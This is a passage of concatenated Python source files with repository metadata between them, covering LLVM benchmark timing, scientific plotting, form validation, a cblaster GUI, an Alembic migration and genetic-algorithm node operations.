retStatus == "Success": # get cycles from "RecordTargetFilePath" ''' ex. log file format: /tmp/PredictionDaemon/worker-[n]/[BenchmarkName].usage record path example: /tmp/PredictionDaemon/worker-1/bmm.usage e.g. bmm; cpu-cycles | 5668022249; func | matmult | 0.997 ''' RecordTargetFilePath = '/tmp/PredictionDaemon/worker-' + WorkerID + '/' + target + '.usage' with open(RecordTargetFilePath, 'r') as recFile: info = recFile.read() TotalCycles = info.split(';')[1].split('|')[1].strip() RunCyclesDict[target] = int(TotalCycles) print("Target={}, takes {} cycles".format(target, TotalCycles)) else: RunCyclesDict[target] = -1 os.chdir(prevCwd) return RunCyclesDict def runEval(WorkerID, jsonPath): """ TargetRoot: the root path in your test-suite/build return {"target": {key_1: first_time, key_2: second_time}} """ ''' # get all .test target Targets = getTargets(TargetRoot + '/SingleSource/Benchmarks') Targets.update(getTargets(TargetRoot + '/MultiSource/Benchmarks')) Targets.update(getTargets(TargetRoot + '/MultiSource/Applications')) #Targets = {"GlobalDataFlow-dbl":"/home/jrchang/workspace/llvm-thesis-inference/test-suite/build-worker-6/MultiSource/Benchmarks/TSVC/GlobalDataFlow-dbl"} ''' # Build, verify and log run time builder = lib.EnvBuilder() LitTestDict = builder.CheckTestSuiteCmake(WorkerID) retDict = Eval(LitTestDict, WorkerID) # record as file for logging date = datetime.now(pytz.timezone('Asia/Taipei')).strftime("%m-%d_%H-%M") Dir = "log-" + date os.makedirs(Dir) with open(Dir + '/' + jsonPath, 'w') as fp: json.dump(retDict, fp) return retDict def readOriginalResults(): loc = os.getenv("LLVM_THESIS_RandomHome", "Error") loc = loc + "/LLVMTestSuiteScript/GraphGen/output/newMeasurableStdBenchmarkMeanAndSigma" Orig_cycles_mean = {} Orig_cycles_sigma = {} with open(loc, 'r') as File: ''' e.g. PAQ8p/paq8p; cpu-cycles-mean | 153224947840; cpu-cycles-sigma | 2111212874 ''' for line in File: elms = line.split(';') target = elms[0].split('/')[-1] mean = elms[1].split('|')[1].strip() sigma = elms[2].split('|')[1].strip() Orig_cycles_mean[target] = int(mean) Orig_cycles_sigma[target] = int(sigma) return Orig_cycles_mean, Orig_cycles_sigma if __name__ == '__main__': WorkerID = "6" print("-------------------------------------------") print("Make sure your $$LLVM_THESIS_HOME point to the inference one.") print("If you would like to change worker, modify the passed args of runEval()") print("Default WorkerID={}".format(WorkerID)) print("-------------------------------------------") for i in range(1): startTime = time.perf_counter() ''' Measure the build time for ABC ''' key_2 = "ABC" ABC_results = runEval(WorkerID, "ABC_cycles_mean.json") ''' If you already ran, just read the data. ''' #ABC_results = json.load(open("ABC_cycles_mean.json")) # read data from previous results # we don't have to read the original data for every time ''' Orig_cycles_mean, Orig_cycles_sigma = readOriginalResults() with open("Orig_cycles_mean.json", 'w') as fp: json.dump(Orig_cycles_mean, fp) with open("Orig_cycles_sigma.json", 'w') as fp: json.dump(Orig_cycles_sigma, fp) ''' endTime = time.perf_counter() print("The evaluation procedure takse:{} mins".format((endTime - startTime)/60))
35.72973
158
0.609871
0
0
0
0
0
0
0
0
2,531
0.478631
34562b1de4dbc484e75da38e9909f47142dcc782
986
py
Python
pylith/problems/__init__.py
joegeisz/pylith
f74060b7b19d7e90abf8597bbe9250c96593c0ad
[ "MIT" ]
1
2021-01-20T17:18:28.000Z
2021-01-20T17:18:28.000Z
pylith/problems/__init__.py
joegeisz/pylith
f74060b7b19d7e90abf8597bbe9250c96593c0ad
[ "MIT" ]
null
null
null
pylith/problems/__init__.py
joegeisz/pylith
f74060b7b19d7e90abf8597bbe9250c96593c0ad
[ "MIT" ]
null
null
null
#!/usr/bin/env python # # ---------------------------------------------------------------------- # # Brad T. Aagaard, U.S. Geological Survey # Charles A. Williams, GNS Science # Matthew G. Knepley, University of Chicago # # This code was developed as part of the Computational Infrastructure # for Geodynamics (http://geodynamics.org). # # Copyright (c) 2010-2017 University of California, Davis # # See COPYING for license information. # # ---------------------------------------------------------------------- # ## @file pylith/problems/__init__.py ## ## @brief Python PyLith crustal dynamics problems module initialization __all__ = ['EqDeformation', 'Explicit', 'Implicit', 'Problem', 'Solver', 'SolverLinear', 'SolverNonlinear', 'TimeDependent', 'TimeStep', 'TimeStepUniform', 'TimeStepUser', 'TimeStepAdapt', 'ProgressMonitor', ] # End of file
24.65
72
0.527383
0
0
0
0
0
0
0
0
790
0.801217
3458c97c680205824135db67c32f6f0bb720e1b0
977
py
Python
examples/cp/misorientation.py
ajey091/neml
23dd2cdb83057fdd17a37fa19f4592c54f821dbf
[ "MIT" ]
6
2020-05-06T17:04:29.000Z
2021-08-03T20:02:22.000Z
examples/cp/misorientation.py
ajey091/neml
23dd2cdb83057fdd17a37fa19f4592c54f821dbf
[ "MIT" ]
66
2018-10-26T01:32:43.000Z
2022-02-01T03:02:18.000Z
examples/cp/misorientation.py
ajey091/neml
23dd2cdb83057fdd17a37fa19f4592c54f821dbf
[ "MIT" ]
14
2018-11-28T17:07:24.000Z
2022-01-06T16:57:15.000Z
#!/usr/bin/env python3 import sys sys.path.append('../..') import numpy as np from neml.cp import crystallography from neml.math import rotations import matplotlib.pyplot as plt if __name__ == "__main__": N = 300 orientations = rotations.random_orientations(N) sgroup = crystallography.SymmetryGroup("432") angles = [] for i in range(len(orientations)): for j in range(i+1, len(orientations)): o1 = orientations[i] o2 = orientations[j] m = sgroup.misorientation(o1,o2) axis, angle = m.to_axis_angle() angles.append(angle) angles = np.rad2deg(angles) plt.figure() plt.hist(angles, bins = 30) plt.show() Np = N * (N-1) orientations1 = rotations.random_orientations(Np) orientations2 = rotations.random_orientations(Np) mis = sgroup.misorientation_block(orientations1, orientations2) angles = [np.rad2deg(m.to_axis_angle()[1]) for m in mis] plt.figure() plt.hist(angles, bins = 30) plt.show()
20.787234
65
0.684749
0
0
0
0
0
0
0
0
44
0.045036
345b8b64e41fef1a1e9f95fd8a1d44084d6f85bb
155
py
Python
valid triangle.py
Tanuka-Mondal/Competi
b244ade867862b4e33e63dabd2cdd136340c0bf8
[ "MIT" ]
1
2021-09-08T05:36:48.000Z
2021-09-08T05:36:48.000Z
valid triangle.py
Tanuka-Mondal/Competi
b244ade867862b4e33e63dabd2cdd136340c0bf8
[ "MIT" ]
null
null
null
valid triangle.py
Tanuka-Mondal/Competi
b244ade867862b4e33e63dabd2cdd136340c0bf8
[ "MIT" ]
null
null
null
t = int(input()) while (t!=0): a,b,c = map(int,input().split()) if (a+b+c == 180): print('YES') else: print('NO') t-=1
17.222222
36
0.412903
0
0
0
0
0
0
0
0
9
0.058065
345cff6b5dc8f245274d42d83f7cdc4417c7b6b5
1,961
py
Python
proper_forms/fields/email.py
jpsca/pforms
77c9da93e5224e79bb147aa873f28951e972bb21
[ "MIT" ]
2
2020-09-30T22:41:00.000Z
2020-12-04T16:47:17.000Z
proper_forms/fields/email.py
jpsca/hyperform
d5c450ad8684a853fed26f8c2606877151125a9e
[ "MIT" ]
2
2021-11-18T18:01:28.000Z
2021-11-18T18:03:29.000Z
proper_forms/fields/email.py
jpsca/hyperform
d5c450ad8684a853fed26f8c2606877151125a9e
[ "MIT" ]
null
null
null
from .text import Text from ..ftypes import type_email __all__ = ("Email", ) class Email(Text): """Validates and normalize an email address using the JoshData/python-email-validator library. Even if the format is valid, it cannot guarantee that the email is real, so the purpose of this function is to alert the user of a typing mistake. The normalizations include lowercasing the domain part of the email address (domain names are case-insensitive), unicode "NFC" normalization of the whole address (which turns characters plus combining characters into precomposed characters where possible and replaces certain unicode characters (such as angstrom and ohm) with other equivalent code points (a-with-ring and omega, respectively)), replacement of fullwidth and halfwidth characters in the domain part, and possibly other UTS46 mappings on the domain part. Options: check_dns (bool): Check if the domain name in the email address resolves. There is nothing to be gained by trying to actually contact an SMTP server, so that's not done. allow_smtputf8 (bool): Accept non-ASCII characters in the local part of the address (before the @-sign). These email addresses require that your mail submission library and the mail servers along the route to the destination, including your own outbound mail server, all support the [SMTPUTF8 (RFC 6531)](https://tools.ietf.org/html/rfc6531) extension. By default this is set to `False`. """ input_type = "email" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.error_messages.setdefault("type", "Doesn‘t look like a valid e-mail.") def type(self, value, check_dns=False, allow_smtputf8=False): return type_email(value, check_dns=check_dns, allow_smtputf8=allow_smtputf8)
40.854167
87
0.701683
1,881
0.958227
0
0
0
0
0
0
1,567
0.798268
345e919fc4bc8d467c8097d3915cd62a71162fb0
244
py
Python
dm/preprocessing/step5.py
NeilKleistGao/Dejavu
57a8e078f488ec57e1bbf86160b7eafb140be35f
[ "MIT" ]
2
2021-04-16T09:04:00.000Z
2021-04-23T08:46:45.000Z
dm/preprocessing/step5.py
NeilKleistGao/Dejavu
57a8e078f488ec57e1bbf86160b7eafb140be35f
[ "MIT" ]
null
null
null
dm/preprocessing/step5.py
NeilKleistGao/Dejavu
57a8e078f488ec57e1bbf86160b7eafb140be35f
[ "MIT" ]
2
2021-04-23T08:51:34.000Z
2021-05-09T13:29:09.000Z
import numpy import pandas as pd # 替换异常值 if __name__ == '__main__': df = pd.read_csv("../dataset/temp4.csv") df.replace(to_replace='-', value=0.5, inplace=True) print(df.head(3)) df.to_csv("../dataset/temp5.csv", index=False)
22.181818
55
0.651639
0
0
0
0
0
0
0
0
74
0.291339
34601d4a3a2aca95af185ecc4403659540657447
1,546
py
Python
src/memoprop/__about__.py
lewisacidic/memoized-property
458fc73832a4207c05bb24101a1a3571cfebce79
[ "MIT" ]
1
2020-05-29T21:31:43.000Z
2020-05-29T21:31:43.000Z
src/memoprop/__about__.py
lewisacidic/memoized-property
458fc73832a4207c05bb24101a1a3571cfebce79
[ "MIT" ]
1
2019-10-17T16:32:26.000Z
2019-10-17T16:32:26.000Z
src/memoprop/__about__.py
lewisacidic/memoprop
458fc73832a4207c05bb24101a1a3571cfebce79
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (c) 2019 Rich Lewis # License: MIT license """Metadata for memoprop.""" # guard import # in setup.py we use run this with runpy so the import will fail try: from ._version import get_versions __version__ = get_versions()["version"] del get_versions except ImportError: __version__ = None __distname__ = "memoprop" __name__ = "memoprop" __description__ = "Basic memoized properties for Python." __license__ = "MIT license" __copyright__ = "Copyright (c) 2019 Rich Lewis" __author__ = "Rich Lewis" __author_email__ = "opensource@richlew.is" __url__ = "https://github.com/lewisacidic/memoprop" __docs_url__ = "https://github.com/lewisacidic/memoprop" __source_url__ = "https://github.com/lewisacidic/memoprop" __bugtracker_url__ = "https://github.com/lewisacidic/memoprop/issues" __download_url__ = "https://github.com/lewisacidic/memoprop/releases" __classifiers__ = [ "Development Status :: 2 - Pre-Alpha", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.7", "Natural Language :: English", ] __keywords__ = ["decorator", "property", "memoized"] __all__ = [ "__author__", "__author_email__", "__bugtracker_url__", "__classifiers__", "__copyright__", "__description__", "__distname__", "__docs_url__", "__download_url__", "__keywords__", "__license__", "__name__", "__source_url__", "__url__", "__version__", ]
26.20339
69
0.694696
0
0
0
0
0
0
0
0
1,010
0.653299
34619aa41c8c7863e143a2333870656f4b2f09c9
6,975
py
Python
cblaster/gui/main.py
bramvanwersch/cblaster
891c7ba364a7c5ad26f55bd7c1915ade5cc46aa9
[ "MIT" ]
null
null
null
cblaster/gui/main.py
bramvanwersch/cblaster
891c7ba364a7c5ad26f55bd7c1915ade5cc46aa9
[ "MIT" ]
null
null
null
cblaster/gui/main.py
bramvanwersch/cblaster
891c7ba364a7c5ad26f55bd7c1915ade5cc46aa9
[ "MIT" ]
null
null
null
"""A basic GUI for cblaster.""" import sys import builtins import PySimpleGUI as sg from cblaster import __version__ from cblaster import main, extract as cb_extract from cblaster.gui import search, makedb, citation, gne, extract sg.theme("Lightgrey1") def Column(layout, scrollable=False): return sg.Column( layout, scrollable=scrollable, size=(540, 480), vertical_scroll_only=True ) def run_cblaster(values): """Handles conversion of PySimpleGUI values to cblaster parameters. - Know which workflow tab we're on (search or makedb) - search - Know which search mode tab we're on - if remote, use entrez query, database, RID - if local, jdb and database Args: values (dict): Dictionary of values from PySimpleGUI. """ if values["cblaster_tabs"] == "Search": args = dict( query_file=values["query_file"], query_ids=values["query_ids"], query_profiles=values["query_profiles"].split(" "), session_file=values["session_file"], mode=values["search_mode"], gap=int(values["gap"]), unique=int(values["unique"]), min_hits=int(values["min_hits"]), require=values["require"], min_identity=float(values["min_identity"]), min_coverage=float(values["min_coverage"]), max_evalue=float(values["max_evalue"]), recompute=values["recompute"], ) if values["search_mode"] == "remote": args.update( database=[values["database"]], entrez_query=values["entrez_query"], rid=values["rid"] ) elif values["search_mode"] == "local": args.update( database=[values["dmnd_database"]], cpus=values["cpus"] ) elif values["search_mode"] == "hmm": args.update( database=[values["fa database"]], database_pfam=values["pfam database"] ) elif values["search_mode"] == "combi_local": args.update( database=[values["fa database cl"], values["dmnd_database cl"]], database_pfam=values["pfam database cl"], cpus=values["cpus cl"] ) elif values["search_mode"] == "combi_remote": args.update( database=[values["fa database cr"], values["database cr"]], database_pfam=values["pfam database cr"], entrez_query=values["entrez_query cr"], rid=values["rid cr"] ) if values["summary_gen"]: summary = None if values["summary_text"]: summary = values["summary_text"] args.update( output=summary, output_decimals=values["summary_decimals"], output_delimiter=values["summary_delimiter"], output_hide_headers=values["summary_hide_headers"] ) if values["binary_gen"]: args.update( binary=values["binary_text"], binary_delimiter=values["binary_delimiter"], binary_hide_headers=values["binary_hide_headers"], binary_decimals=values["binary_decimals"], binary_attr=values["binary_attr"], binary_key=getattr(builtins, values["binary_key"]), ) if values["figure_gen"]: plot = values["figure_text"] if values["figure_text"] else True args.update(plot=plot) # Overwrite any placeholder text for arg, value in args.items(): if isinstance(value, str) and value.startswith("e.g."): args[arg] = "" main.cblaster(**args) elif values["cblaster_tabs"] == "Makedb": main.makedb( genbanks=values["makedb_genbanks"].split(";"), filename=values["makedb_filename"], indent=values["json_indent"] ) elif values["cblaster_tabs"] == "Neighbourhood": main.gne( session=values["session"], output=values["output"], max_gap=int(values["max_gap"]), samples=int(values["samples"]), scale=values["scale"], ) elif values["cblaster_tabs"] == "Extract": cb_extract.extract( values["extract_session"], in_cluster=values["in_cluster"], delimiter=values["delimiter"], name_only=values["name_only"], download=values["download"], output=values["extract_output"], queries=values["queries"], organisms=values["organisms"], scaffolds=values["scaffolds"], ) else: raise ValueError("Expected 'Search', 'Makedb', 'Neighbourhood' or 'Extract'") def cblaster_gui(): layout = [ [sg.Text("cblaster", font="Arial 18 bold", pad=(0, 0))], [sg.Text(f"v{__version__}", font="Arial 10", pad=(0, 0))], [sg.Text("Cameron Gilchrist, 2020", font="Arial 10", pad=(0, 0))], [sg.TabGroup([ [sg.Tab("Search", [[Column(search.layout, scrollable=True)]])], [sg.Tab("Neighbourhood", [[Column(gne.layout)]])], [sg.Tab("Makedb", [[Column(makedb.layout)]])], [sg.Tab("Extract", [[Column(extract.layout, scrollable=True)]])], [sg.Tab("Citation", [[Column(citation.layout)]])], ], enable_events=True, key="cblaster_tabs" )], [sg.Button("Start", key="start_button", button_color=["white", "green"]), sg.Button("Exit", key="exit_button", button_color=["white", "red"])], ] window = sg.Window( "cblaster", layout, size=(600, 660), element_padding=(5, 5), element_justification="center", finalize=True ) while True: event, values = window.read() if event in (None, "exit_button"): break # Disable binary & summary table, figure options if not enabled for key in ("browse", "text", "delimiter", "decimals", "hide_headers", "key", "attr"): window[f"binary_{key}"].update(disabled=not values["binary_gen"]) for key in ("browse", "text", "decimals", "hide_headers", "delimiter"): window[f"summary_{key}"].update(disabled=not values["summary_gen"]) for key in ("browse", "text"): window[f"figure_{key}"].update(disabled=not values["figure_gen"]) # Disable start button when on citation tab window["start_button"].update( disabled=values["cblaster_tabs"] not in ("Search", "Makedb", "Neighbourhood") ) if event: if event == "start_button": run_cblaster(values) window.close() if __name__ == "__main__": cblaster_gui()
33.695652
94
0.555556
0
0
0
0
0
0
0
0
2,162
0.309964
3461f75437c6e8764c0d89e33b3659778cc6f407
368
py
Python
MRTasks/parsingTasks/listS3Files.py
ArulselvanMadhavan/Artist_Recognition_from_Audio_Features
feeca8487773b2f1bac7f408fd11adcc3820b294
[ "Apache-2.0" ]
1
2016-04-19T14:17:12.000Z
2016-04-19T14:17:12.000Z
MRTasks/parsingTasks/listS3Files.py
ArulselvanMadhavan/Artist_Recognition_from_Audio_Features
feeca8487773b2f1bac7f408fd11adcc3820b294
[ "Apache-2.0" ]
null
null
null
MRTasks/parsingTasks/listS3Files.py
ArulselvanMadhavan/Artist_Recognition_from_Audio_Features
feeca8487773b2f1bac7f408fd11adcc3820b294
[ "Apache-2.0" ]
1
2016-09-16T15:08:00.000Z
2016-09-16T15:08:00.000Z
import sys __author__ = 'arul' from boto.s3.connection import S3Connection if __name__ == '__main__': access_key = sys.argv[1] access_secret = sys.argv[2] conn = S3Connection(access_key,access_secret) bucket = conn.get_bucket('cs6240_msd') for key in bucket.list(prefix='cs6240_msd/'): print key # print key.name.encode('utf-8')
24.533333
49
0.682065
0
0
0
0
0
0
0
0
73
0.19837
346219eff16b54d9f3ede1460d4a16bec732ce9e
170
py
Python
TestMain/cool.py
ppcrong/TestMain
38fa0d64439a7d02d2806be3b09043a4294912de
[ "Apache-2.0" ]
null
null
null
TestMain/cool.py
ppcrong/TestMain
38fa0d64439a7d02d2806be3b09043a4294912de
[ "Apache-2.0" ]
null
null
null
TestMain/cool.py
ppcrong/TestMain
38fa0d64439a7d02d2806be3b09043a4294912de
[ "Apache-2.0" ]
null
null
null
# cool.py def cool_func(): print('cool_func(): Super Cool!') print('__name__:', __name__) if __name__ == '__main__': print('Call it locally') cool_func()
14.166667
37
0.629412
0
0
0
0
0
0
0
0
73
0.429412
3463bda8bf81306d7b5d5fb016561e09a511a66d
95
py
Python
superlists/apps.py
cidyoon/django-blog
9bbe90de935e694a5aafb19df1f4c0c87584418c
[ "MIT" ]
null
null
null
superlists/apps.py
cidyoon/django-blog
9bbe90de935e694a5aafb19df1f4c0c87584418c
[ "MIT" ]
null
null
null
superlists/apps.py
cidyoon/django-blog
9bbe90de935e694a5aafb19df1f4c0c87584418c
[ "MIT" ]
null
null
null
from django.apps import AppConfig class SuperlistsConfig(AppConfig): name = 'superlists'
15.833333
34
0.768421
58
0.610526
0
0
0
0
0
0
12
0.126316
3464d9605dc84d67af5924093064dbe060947bff
936
py
Python
alembic/versions/0b7ccbfa8f7c_add_order_and_hide_from_menu_to_page_.py
matslindh/kimochi
5819ca57b467d65b0ac4eeb11622548a6a1e965a
[ "MIT" ]
null
null
null
alembic/versions/0b7ccbfa8f7c_add_order_and_hide_from_menu_to_page_.py
matslindh/kimochi
5819ca57b467d65b0ac4eeb11622548a6a1e965a
[ "MIT" ]
null
null
null
alembic/versions/0b7ccbfa8f7c_add_order_and_hide_from_menu_to_page_.py
matslindh/kimochi
5819ca57b467d65b0ac4eeb11622548a6a1e965a
[ "MIT" ]
null
null
null
"""Add order and hide_from_menu to Page model Revision ID: 0b7ccbfa8f7c Revises: 8f5b2066cbac Create Date: 2016-03-23 16:33:44.047433 """ # revision identifiers, used by Alembic. revision = '0b7ccbfa8f7c' down_revision = '8f5b2066cbac' branch_labels = None depends_on = None from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please adjust! ### with op.batch_alter_table('pages', schema=None) as batch_op: batch_op.add_column(sa.Column('hide_from_menu', sa.Boolean(), nullable=True)) batch_op.add_column(sa.Column('order', sa.Integer(), nullable=True)) ### end Alembic commands ### def downgrade(): ### commands auto generated by Alembic - please adjust! ### with op.batch_alter_table('pages', schema=None) as batch_op: batch_op.drop_column('order') batch_op.drop_column('hide_from_menu') ### end Alembic commands ###
26.742857
85
0.707265
0
0
0
0
0
0
0
0
441
0.471154
34662329b3c89b9de5cd7e3249e18c3a5937c451
3,812
py
Python
Analytic/plots.py
benvchurch/project-eva
38e3e61ec1913fb2d94fbb8a5db53b90ec32ed66
[ "Unlicense" ]
1
2017-07-27T19:02:16.000Z
2017-07-27T19:02:16.000Z
Analytic/plots.py
benvchurch/project-eva
38e3e61ec1913fb2d94fbb8a5db53b90ec32ed66
[ "Unlicense" ]
null
null
null
Analytic/plots.py
benvchurch/project-eva
38e3e61ec1913fb2d94fbb8a5db53b90ec32ed66
[ "Unlicense" ]
null
null
null
from __future__ import division import numpy as np from scipy import special from numpy import log, exp, sin ,cos, pi, log10, sqrt from scipy.integrate import quad, dblquad, cumtrapz from matplotlib import pyplot as plt import time import CDM_SubHalo_Potential import FDM_SubHalo_Potential #integral precision p = 2 #num plot points num = 50 #fluc, normedfluc, fourierfluc, sqfourierfluc, tidalvar, flucwalk, veldispersion var = "veldispersion" #calc, test mode = "calc" #radius for test Rtest = 10**3 params = { 'axes.labelsize': 24, 'axes.titlesize': 22, 'legend.fontsize': 20, 'xtick.labelsize': 24, 'ytick.labelsize': 24, 'text.usetex': True, 'figure.figsize': [10,8], # instead of 4.5, 4.5 'lines.linewidth': 2, 'xtick.major.pad': 15, 'ytick.major.pad': 15, 'figure.subplot.bottom': 0.12, 'figure.subplot.top': 0.95, 'figure.subplot.left': 0.225, #'font.size': 22 } plt.rcParams.update(params) ep = np.logspace(1, p, num) D = np.logspace(0, 5, num) if(var == "fluc"): CDMfunc = CDM_SubHalo_Potential.Fluc elif(var == "normedfluc"): CDMfunc = CDM_SubHalo_Potential.NormalizedFluc elif(var == "fourierfluc"): CDMfunc = CDM_SubHalo_Potential.NormedFourierMagInt elif(var == "sqfourierfluc"): CDMfunc = CDM_SubHalo_Potential.IntegSpectralPower elif(var == "tidalvar"): CDMfunc = CDM_SubHalo_Potential.TidalVariance elif(var == "flucwalk"): CDMfunc = CDM_SubHalo_Potential.FlucWalk elif(var == "veldispersion"): CDMfunc = CDM_SubHalo_Potential.VelocityDispersion def CDM_Calculate(): if(mode == "calc"): return map(lambda x: CDMfunc(x, int(10**p)), D) elif(mode == "test"): return map(lambda x: CDMfunc(Rtest, int(x)), ep) if(var == "fluc"): FDMfunc = FDM_SubHalo_Potential.Fluc elif(var == "normedfluc"): FDMfunc = FDM_SubHalo_Potential.NormalizedFluc elif(var == "fourierfluc"): FDMfunc = FDM_SubHalo_Potential.NormedFourierMagInt elif(var == "sqfourierfluc"): FDMfunc = FDM_SubHalo_Potential.IntegSpectralPower elif(var == "tidalvar"): FDMfunc = FDM_SubHalo_Potential.TidalVariance elif(var == "flucwalk"): FDMfunc = FDM_SubHalo_Potential.FlucWalk elif(var == "veldispersion"): FDMfunc = FDM_SubHalo_Potential.VelocityDispersion def FDM_Calculate(set_m22): FDM_SubHalo_Potential.m22 = set_m22 if(mode == "calc"): return map(lambda x: FDMfunc(x, int(10**p)), D) elif(mode == "test"): return map(lambda x: FDMfunc(Rtest, int(x)), ep) def main(): t = time.time() plt.loglog(D, CDM_Calculate(), label = '$CDM$', linestyle = '--') print "done CDM in " + str(time.time() - t) log_axion_masses = [6,4,2,1,0,-1] for logm in log_axion_masses: t = time.time() plt.loglog(D, FDM_Calculate(10**logm), label = r'$m_{a} = 10^{' + str(logm-22) +'} eV$') print "done FDM log(m22) = " + str(logm) + " in " + str(time.time() - t) plt.xlabel(r'$r(pc)$') if(var == "fluc"): plt.ylabel(r'$ \sqrt{\left < \left (\frac{\partial \phi}{\partial t} \right )^2 \right >} \quad ((km/s)^{2} Myr^{-1})$') elif(var == "normedfluc"): plt.ylabel(r'$ \sqrt{\left < \left (\frac{\partial \phi}{\partial t} \right )^2 \right > } \left (\frac{\Omega}{\phi} \right )$') elif(var == "fourierfluc"): plt.ylabel(r'\[ \frac{1}{\phi} \int_{\Omega}^{\infty} | \tilde{\phi}(\omega) | d\omega \]') elif(var == "sqfourierfluc"): plt.ylabel(r'\[ \sqrt{\frac{\Omega}{\phi^2} \int_{\Omega}^{\infty} | \tilde{\phi}(\omega) |^2 d\omega} \]') elif(var == "tidalvar"): plt.ylabel(r'$\sigma_{T}^2$') elif(var == "flucwalk"): plt.ylabel(r'$ \sqrt{\left < \left (\frac{\partial \phi}{\partial t} \right )^2 \right >^{\frac{1}{2}} \cdot T_{age}} \quad (km/s)$') elif(var == "veldispersion"): plt.ylabel(r'$ \Delta v \: (km/s)$') plt.legend(loc='lower right') plt.show() if __name__ == "__main__": main()
29.550388
135
0.662382
0
0
0
0
0
0
0
0
1,365
0.35808
34675a441a31155069ce27c1848586abca7d0df5
13,653
py
Python
operationGenerationTests.py
moritz155/GeneticPy
e6a1314efb18e3a17d6078043bb440abd2ad1925
[ "MIT" ]
11
2015-06-11T02:31:20.000Z
2021-10-04T05:05:03.000Z
operationGenerationTests.py
cosmina98/GeneticPy
970f16129c753fc67f2d68beb4c96b2c72e37a52
[ "MIT" ]
null
null
null
operationGenerationTests.py
cosmina98/GeneticPy
970f16129c753fc67f2d68beb4c96b2c72e37a52
[ "MIT" ]
7
2015-11-22T18:29:18.000Z
2021-11-29T11:07:10.000Z
import unittest import datetime import genetic import random class Node: Value = None Left = None Right = None def __init__(self, value, left=None, right=None): self.Value = value self.Left = left self.Right = right def isFunction(self): return self.Left is not None def __str__(self): result = self.Value if self.isFunction(): result += "([" + str(self.Left) + "]" if self.Right is not None: result += ",[" + str(self.Right) + "]" result += ")" return result + " " class Operation: Func = None HasLeft = None HasRight = None def __init__(self, func, hasLeft, hasRight): self.Func = func self.HasLeft = hasLeft self.HasRight = hasRight def getUsedIndexes(candidate): used = {0: [0]} if candidate[0].isFunction(): for i in reversed(range(len(candidate))): element = candidate[i] iUsed = [i] if element.isFunction(): leftIndex = element.Left rightIndex = element.Right if i < leftIndex < len(candidate): iUsed.extend(used[leftIndex]) if rightIndex is not None: if i < rightIndex < len(candidate): iUsed.extend(used[rightIndex]) used[i] = iUsed return set(used[0]) def getFitness(candidate, geneset, rules): usedIndexes = getUsedIndexes(candidate) localCopy = candidate[:] notUsed = list(set(range(len(candidate))) - usedIndexes) for i in notUsed: localCopy[i] = None fitness = 0 for rule in rules: if getFitnessForRule(localCopy, rule[0], rule[1], geneset) == rule[2]: fitness += 1 if fitness == len(rules): fitness = 1000 - len(usedIndexes) return fitness def getFitnessForRule(candidate, a, b, geneset): if candidate[0].isFunction(): localCopy = candidate[:] for i in reversed(range(len(localCopy))): element = localCopy[i] if element is None: continue if element.isFunction(): leftIndex = element.Left rightIndex = element.Right left = None if i < leftIndex < len(localCopy): left = localCopy[leftIndex].Value right = None if rightIndex is not None: if i < rightIndex < len(localCopy): right = localCopy[rightIndex].Value value = element.Value if isinstance(element.Value, str): gene = geneset[element.Value] value = gene.Func(left if left is not None else 0, right if right is not None else 0) localCopy[i] = Node(value) else: localCopy[i] = Node(geneset[element.Value].Func(a, b)) result = localCopy[0].Value else: result = geneset[candidate[0].Value].Func(a, b) return result def displayDot(candidate, startTime): result = createDot(candidate.Genes) timeDiff = datetime.datetime.now() - startTime print("%s\nfitness: %i\t%s\t%s" % (";".join(result), candidate.Fitness, str(timeDiff), candidate.Strategy)) def createDot(genes): dotCommands = [] added = [False for i in range(0, len(genes))] stack = [0] haveZeroNode = False while len(stack) > 0: index = stack.pop() if added[index]: continue added[index] = True element = genes[index] if not element.isFunction(): dotCommands.append(str(index) + " [label=\"" + str(element.Value) + "\"]") else: dotCommands.append(str(index) + " [label=\"" + element.Value + "\"]") leftIndex = element.Left if index < leftIndex < len(genes): stack.append(leftIndex) dotCommands.append(str(leftIndex) + " -> " + str(index)) else: if not haveZeroNode: dotCommands.append("zero [label=\"0\"]") haveZeroNode = True dotCommands.append("zero -> " + str(index)) rightIndex = element.Right if rightIndex is not None: if index < rightIndex < len(genes): stack.append(rightIndex) dotCommands.append(str(rightIndex) + " -> " + str(index)) else: if not haveZeroNode: dotCommands.append("zero [label=\"0\"]") haveZeroNode = True dotCommands.append("zero -> " + str(index)) return dotCommands def displayRaw(candidate, startTime): timeDiff = datetime.datetime.now() - startTime print("%s\t%i\t%s" % ((' '.join(map(str, [str(item) for item in candidate.Genes]))), candidate.Fitness, str(timeDiff))) def mutate(childGenes, fnCreateGene): childIndexesUsed = list(getUsedIndexes(childGenes)) index = childIndexesUsed[random.randint(0, len(childIndexesUsed) - 1)] childGenes[index] = fnCreateGene(index, len(childGenes)) def crossover(child, parent): usedParentIndexes = list(sorted(getUsedIndexes(parent))) usedChildIndexes = list(getUsedIndexes(child)) if len(usedParentIndexes) == 1 and len(usedChildIndexes) == 1: # node 0 has no child nodes, just copy it child[0] = parent[0] return while True: parentIndex = usedParentIndexes[random.randint(0, len(usedParentIndexes) - 1)] childIndex = usedChildIndexes[random.randint(0, len(usedChildIndexes) - 1)] if parentIndex != 0 or childIndex != 0: # don't copy the root to the root break unusedChildIndexes = list(sorted(set(range(childIndex, len(child))) - set(usedChildIndexes))) unusedChildIndexes.insert(0, childIndex) mappedIndexes = {} nextIndex = 0 for pIndex in usedParentIndexes: if pIndex < parentIndex: continue if len(unusedChildIndexes) > nextIndex: mappedIndexes[pIndex] = unusedChildIndexes[nextIndex] else: mappedIndexes[pIndex] = len(child) + nextIndex - len(unusedChildIndexes) nextIndex += 1 for parentIndex in mappedIndexes.keys(): node = parent[parentIndex] childIndex = mappedIndexes[parentIndex] childNode = Node(node.Value, node.Left, node.Right) if childIndex < len(child): child[childIndex] = childNode else: child.append(childNode) left = node.Left if left is not None: childNode.Left = mappedIndexes[left] if left in mappedIndexes else 0 right = node.Right if right is not None: childNode.Right = mappedIndexes[right] if right in mappedIndexes else 0 def createGene(index, length, geneset): keys = list(geneset.keys()) key = keys[random.randint(0, len(keys) - 1)] op = geneset[key] left = random.randint(index, length - 1) if op.HasLeft else None right = random.randint(index, length - 1) if op.HasRight else None return Node(key, left, right) class OperationGenerationTests(unittest.TestCase): geneset = None @classmethod def setUpClass(cls): 